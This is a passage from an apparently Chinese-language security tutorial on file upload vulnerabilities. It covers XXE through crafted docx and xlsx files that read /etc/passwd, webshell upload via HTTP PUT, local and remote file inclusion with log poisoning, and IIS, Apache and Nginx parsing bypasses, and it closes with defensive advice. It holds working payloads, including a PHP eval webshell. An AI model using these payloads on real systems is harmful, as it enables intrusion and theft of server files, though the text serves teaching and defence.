w:rsidR="007A2F41" w:rsidRDefault="00653F26"> <w:r> <w:rPr> <w:rFonts w:hint="eastAsia"/> </w:rPr> <w:t></w:t> </w:r> </w:p> <w:sectPr w:rsidR="007A2F41"> <w:pgSz w:w="11906" w:h="16838"/> <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/> <w:cols w:space="425"/> <w:docGrid w:type="lines" w:linePitch="312"/> </w:sectPr> </w:body> </w:document>修改后的内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY test SYSTEM 'file:///etc/passwd'>]> <w:document> <w:body> <w:p w14:paraId="367FED8D" w14:textId="1728AEF6" w:rsidR="007A2F41" w:rsidRDefault="00653F26"> <w:r> <w:rPr> <w:rFonts w:hint="eastAsia"/> </w:rPr> <w:t>&test;</w:t> </w:r> </w:p> <w:sectPr w:rsidR="007A2F41"> <w:pgSz w:w="11906" w:h="16838"/> <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/> <w:cols w:space="425"/> <w:docGrid w:type="lines" w:linePitch="312"/> </w:sectPr> </w:body> </w:document>共对两处进行了修改: a.定义外部实体test,内容为读取服务器/etc/passwd文件。 b.在<w:t>标签中引用test实体。 5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为docx。 6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。 xlsx: 大致过程和具体细节和docx相似,但涉及的XML文件不同。 1、新建xlsx文件并解压。 2、解压后的文件结构如下图。 图片 3、记事本打开文件sheet1.xml进行修改,位置:xl > worksheets > sheet1.xml。 4、sheet1.xml原内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet> <dimension ref="A1"/> <sheetViews> <sheetView tabSelected="1" workbookViewId="0"/> </sheetViews> <sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/> <sheetData> <row r="1" spans="1:1" x14ac:dyDescent="0.25"> <c r="A1" t="s"> <v>0</v> </c> </row> </sheetData> <phoneticPr fontId="1" type="noConversion"/> <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/> <pageSetup paperSize="9" orientation="portrait" r:id="rId1"/> </worksheet>修改后的内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY test SYSTEM 'file:///etc/passwd'>]> <worksheet> <dimension ref="A1"/> <sheetViews> <sheetView tabSelected="1" workbookViewId="0"/> </sheetViews> <sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/> <sheetData> <row r="1" spans="1:1" x14ac:dyDescent="0.25"> <c r="A1" t="s"> <v>&test;</v> </c> </row> </sheetData> <phoneticPr fontId="1" type="noConversion"/> <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/> <pageSetup paperSize="9" orientation="portrait" r:id="rId1"/> </worksheet>还是定义了外部实体test并且引用,在<v>标签中。 5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为xlsx。 6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。 如果服务器允许解析XML外部实体,上传后观察响应,是否返回内容,也不排除盲的情况,可以将定义的外部实体内容修改为自己的dnslog地址进行测试。 使用PUT上传文件 如果服务器允许PUT方法,即使没有上传点,也可以进行文件上传,如下请求: PUT /images/test.php HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-httpd-php Content-Length: 49<?php @eval($_POST[123]); ?>可以通过OPTIONS方法向服务器发送预检请求,判断是否允许PUT方法。 文件包含 文件包含漏洞主要出现在PHP开发的Web应用中,在开发的时候,有很多地方会用到相同的代码,每次都重复写一遍太麻烦,为了方便,会使用文件包含函数直接包含代码文件,如果文件包含函数对包含的文件没有进行过滤和校验,就会造成文件包含漏洞。 include():包含文件不存在或出错,程序继续运行。 require():包含文件不存在或出错,程序终止运行。 include_once():如果相同的文件已被包含,不再进行二次包含操作。 require_once():如果相同的文件已被包含,不再进行二次包含操作。文件包含又分为本地包含(LFI)和远程包含(RFI),包含路径用相对路径或绝对路径都可以,RFI需要PHP配置allow\_url\_include=on。 LFI:https://example.com/index.php?file=../../upload/shell.php RFI:https://example.com/index.php?file=https://test.com/upload/shell.php利用文件包含漏洞执行WebShell 在防御文件上传攻击时,服务器使用了白名单校验,但是,如果服务器存在文件包含漏洞的话,攻击者依然可以执行WebShell获取服务器权限。 制作图片马,或其他包含恶意代码的合法文件上传至服务器绕过白名单校验,通过对该文件进行包含,让服务器去执行,PHP在执行include()或require()时,不会验证后缀,只会读取内容,如果是PHP代码,则会使用PHP解释器执行。 通过写入日志执行WebShell 服务器使用了更强大的防护机制,不仅检查文件后缀,还对文件内容进行了严格校验,只要包含恶意代码,一律拒绝上传,这样的话就无法通过上传方式执行WebShell获取服务器权限了,但是,如果服务器存在文件包含漏洞,可以直接包含恶意代码,将代码写入日志文件,再包含日志文件执行WebShell。 https://example.com/index.php?file=<?php @eval($_POST[123]); ?>如果在浏览器包含执行,浏览器会把特殊符号进行URL编码,可以通过Burp发送。 图片 400的原因是包含的文件不存在,查看日志文件,木马成功写入。 图片 再包含日志文件就可以执行WebShell了,默认访问日志文件路径参考: nginx: /var/log/nginx/access.log apache: /var/log/apache2/access.log /var/log/httpd/access_log 解析漏洞 从客户端发送请求,到数据库收到请求,这中间经过的程序都叫中间件,而解析漏洞主要说的是Web服务应用程序,也就是IIS、Apache、Nginx等等,这里就先简单讲一下关于这三个中间件的解析漏洞。 IIS IIS分低版本(IIS 5.x-IIS 6.x)和高版本(IIS 7.x及以上),低版本只能解析asp的WebShell。方法如下: 目录解析: 服务器会把后缀为.asp文件夹下的文件,都按asp文件解析执行,如下: https://example.com/upload/test.asp/test.jpg如果上传路径可控,可以添加一个以.asp为后缀的文件夹,把图片马放到该目录下上传,访问执行WebShell。 文件解析: 之前将混淆后缀的时候讲到过,就是在后缀后面加个分号(;)在跟一个合法后缀,如下: https://example.com/upload/test.asp;.jpg解析的时候分号(;)代表结束,所以后面的内容不会解析,解析文件就成了test.asp。 格式解析: 有些后缀服务器也会当作asp解析,比如.asa、cer、cdx等等,具体可以查看ISAPI扩展。 https://example.com/upload/test.cerIIS7.x版本也存在解析漏洞,跟Nginx的解析漏洞一样, 这就不讲了,统一在Nginx解析漏洞中讲。 Apache 解析顺序: Apache服务器解释的时候顺序是从右往左,如果添加服务器无法识别的后缀会发生什么呢,如下: https://example.com/upload/test.php.aaa.bbb假如往服务器上传了一个test.php.aaa.bbb文件,正常情况下肯定是访问失败,但是Apache低版本(Apache2.2及以下)是可以正常解析的,访问执行时,服务器从右往左开始解析后缀,如果无法解析,就会继续向左解析,直到碰到可以解析的后缀,那么test.php.aaa.bbb文件最后就会被解析成test.php。 配置文件: 上面也提到过,就是AddType application/x-httpd-php配置,该配置的意思是什么后缀会被当成php代码解析,如果配置不当,将一些合法后缀添加到该配置项,就会被攻击者利用,造成安全问题,如下: AddType application/x-httpd-php .php .jpg .txtNginx 跟php和nginx的配置有关,先看一下正常情况,向服务器上传图片马绕过白名单校验。 https://example.com/upload/test.jpg在图片马后添加一个不存在的php文件,如下: https://example.com/upload/test.jpg/123.php正常肯定返回404页面不存在,但是如果nginx错误配置try\_files,收到请求后,不会去检查文件是否存在,而是看是什么类型的文件,如果是php,直接交给php解释器去执行,php配置cgi.fix\_pathinfo,默认值为1,表示开启,0是关闭,正常情况,php解释器会检查123.php是否存在,如果不存则响应404,但是使用cgi.fix\_pathinfo配置后,如果123.php不存在,则会检查上一层目录是否存在,以此类推,检查到test.jpg时,发现test.jpg存在,php解释器就会把test.jpg当作php解析执行。 所以测试的时候,在图片马后加一个不存在的php文件判断就行了。 绕过 文件上传漏洞绕过总结,如下图: 图片 预防攻击 可以借鉴以下方式对文件上传漏洞进行防御和修复。 白名单校验 对文件后缀进行白名单校验,只允许上传白名单中被允许后缀的文件,例如只允许上传.jpg、.png类型文件。同时对MIME类型进行检查。 检查文件内容 对上传文件的内容进行严格检查,如果存在恶意代码,拒绝上传,检查文件名,防止覆盖文件,或者对上传到服务器的文件进行修改随即名处理。 上传目录权限 设置上传目录为只允许上传静态文件,避免上传目录拥有执行权,防止攻击者绕过防护上传WebShell到服务器执行。 使用安全框架 尽量使用安全的框架处理文件上传,如果使用自定义,请做好安全防护。 安全的中间件 使用最新版本的中间件,及时更新,正确配置,避免攻击者利用中间件解析漏洞进行文件上传漏洞利用。 总结 如果你对安全感兴趣,别忘了关注我们,持续为你带来最新的安全动态与技术分享!